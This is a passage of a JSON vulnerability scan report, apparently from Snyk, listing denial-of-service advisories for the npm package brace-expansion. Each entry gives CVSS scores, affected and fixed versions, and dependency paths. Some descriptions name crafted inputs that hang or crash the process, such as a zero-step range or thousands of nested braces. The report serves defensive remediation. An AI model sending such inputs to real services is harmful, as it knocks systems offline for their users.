"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
